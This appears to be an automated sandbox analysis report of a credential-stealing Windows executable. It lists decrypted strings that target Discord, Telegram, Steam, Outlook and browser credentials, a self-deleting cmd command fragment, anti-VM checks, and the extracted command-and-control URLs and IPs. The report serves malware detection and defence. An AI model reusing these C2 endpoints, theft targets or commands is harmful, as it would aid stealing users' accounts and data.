Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: - Laptop:
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: - Running Path:
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: - CPU:
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: - Threads:
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: - Cores:
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: - RAM:
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: - Display Resolution:
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: - GPU:
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: User Agents:
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: Installed Apps:
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: All Users:
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: Current User:
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: Process List:
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: system_info.txt
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: freebl3.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: mozglue.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: msvcp140.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: nss3.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: softokn3.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: vcruntime140.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: \Temp\
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: .exe
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: runas
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: open
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: /c start
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: %DESKTOP%
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: %APPDATA%
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: %LOCALAPPDATA%
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: %USERPROFILE%
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: %DOCUMENTS%
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: %PROGRAMFILES%
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: %PROGRAMFILES_86%
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: %RECENT%
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: *.lnk
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: files
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: \discord\
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: \Local Storage\leveldb
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: \Telegram Desktop\
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: key_datas
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: D877F783D5D3EF8C*
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: map*
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: A7FDF864FBC10B77*
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: F8806DD0C461824F*
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: Telegram
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: Tox
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: *.tox
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: *.ini
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: Password
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: 00000001
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: 00000002
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: 00000003
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: 00000004
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: \Outlook\accounts.txt
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: Pidgin
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: \.purple\
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: accounts.xml
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: dQw4w9WgXcQ
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: token:
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: Software\Valve\Steam
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: SteamPath
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: \config\
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: ssfn*
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: config.vdf
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: DialogConfig.vdf
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: libraryfolders.vdf
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: loginusers.vdf
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: \Steam\
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: sqlite3.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: browsers
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: done
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: soft
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: \Discord\tokens.txt
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: https
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: POST
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: HTTP/1.1
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: hwid
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: build
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: token
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: file_name
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: file
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: message
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: screenshot.jpg
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: INSERT_KEY_HERE
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetProcAddress
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: LoadLibraryA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: lstrcatA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: OpenEventA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: CreateEventA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: CloseHandle
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: Sleep
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetUserDefaultLangID
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: VirtualAllocExNuma
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: VirtualFree
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetSystemInfo
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: VirtualAlloc
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: HeapAlloc
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetComputerNameA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: lstrcpyA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetProcessHeap
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetCurrentProcess
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: lstrlenA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: ExitProcess
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GlobalMemoryStatusEx
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetSystemTime
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: SystemTimeToFileTime
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: advapi32.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: gdi32.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: user32.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: crypt32.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: ntdll.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetUserNameA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: CreateDCA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetDeviceCaps
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: ReleaseDC
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: CryptStringToBinaryA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: sscanf
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: VMwareVMware
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: HAL9TH
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: JohnDoe
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: DISPLAY
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: %hu/%hu/%hu
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: http://85.28.47.31
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: silence
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: /5499d72b3a3e55be.php
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: /8405906461a5200c/
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: sila
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetEnvironmentVariableA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetFileAttributesA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GlobalLock
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: HeapFree
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetFileSize
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GlobalSize
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: IsWow64Process
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: Process32Next
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetLocalTime
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: FreeLibrary
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetTimeZoneInformation
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetSystemPowerStatus
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetVolumeInformationA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetWindowsDirectoryA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: Process32First
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetLocaleInfoA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetUserDefaultLocaleName
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetModuleFileNameA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: DeleteFileA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: FindNextFileA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: LocalFree
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: FindClose
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: SetEnvironmentVariableA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: LocalAlloc
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetFileSizeEx
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: ReadFile
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: SetFilePointer
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: WriteFile
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: CreateFileA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: FindFirstFileA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: CopyFileA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: VirtualProtect
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetLastError
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: lstrcpynA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: MultiByteToWideChar
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GlobalFree
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: WideCharToMultiByte
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GlobalAlloc
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: OpenProcess
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: TerminateProcess
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetCurrentProcessId
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: gdiplus.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: ole32.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: bcrypt.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: wininet.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: shlwapi.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: shell32.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: psapi.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: rstrtmgr.dll
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: CreateCompatibleBitmap
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: SelectObject
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: BitBlt
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: DeleteObject
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: CreateCompatibleDC
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GdipGetImageEncodersSize
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GdipGetImageEncoders
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GdiplusStartup
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GdiplusShutdown
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GdipSaveImageToStream
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GdipDisposeImage
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GdipFree
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetHGlobalFromStream
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: CreateStreamOnHGlobal
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: CoUninitialize
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: CoInitialize
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: CoCreateInstance
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: BCryptDecrypt
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: BCryptSetProperty
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: BCryptDestroyKey
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetWindowRect
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetDesktopWindow
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetDC
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: CloseWindow
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: wsprintfA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: EnumDisplayDevicesA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: GetKeyboardLayoutList
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: CharToOemW
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: wsprintfW
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: RegQueryValueExA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: RegEnumKeyExA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: RegOpenKeyExA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: RegCloseKey
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: RegEnumValueA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: CryptBinaryToStringA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: CryptUnprotectData
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: SHGetFolderPathA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: ShellExecuteExA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: InternetOpenUrlA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: InternetConnectA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: InternetCloseHandle
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: InternetOpenA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: HttpSendRequestA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: HttpOpenRequestA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: InternetReadFile
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: InternetCrackUrlA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: StrCmpCA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: StrStrA
Source: 0.2.file.exe.40b0e67.1.raw.unpack	String decryptor: StrCmpCW

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00409BB0 CryptUnprotectData,LocalAlloc,memcpy,LocalFree,	0_2_00409BB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00418940 CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	0_2_00418940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040C660 memset,lstrlenA,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,memcpy,lstrcat,lstrcat,PK11_FreeSlot,lstrcat,	0_2_0040C660
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00407280 GetProcessHeap,HeapAlloc,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00407280
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00409B10 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00409B10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	0_2_6C5B6C80

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Unpacked PE file: 20.2.624f4d727e.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Unpacked PE file: 24.2.624f4d727e.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Unpacked PE file: 34.2.624f4d727e.exe.400000.0.unpack

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:49801 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:49803 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2402076310.000000006C7DF000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2402076310.000000006C7DF000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmp

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040D8C0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040D8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040F4F0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040F4F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040BCB0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040BCB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004139B0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_004139B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040E270 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0040E270
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00401710 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00401710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004143F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_004143F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040DC50 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040DC50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00414050 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlenA,lstrlenA,	0_2_00414050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040EB60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0040EB60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004133C0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,lstrcat,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_004133C0

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: firefox.exe

Memory has grown: Private usage: 1MB later: 225MB

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://85.28.47.31/5499d72b3a3e55be.php
Source: Malware configuration extractor	URLs: http://85.28.47.31silence
Source: Malware configuration extractor	IPs: 185.215.113.19

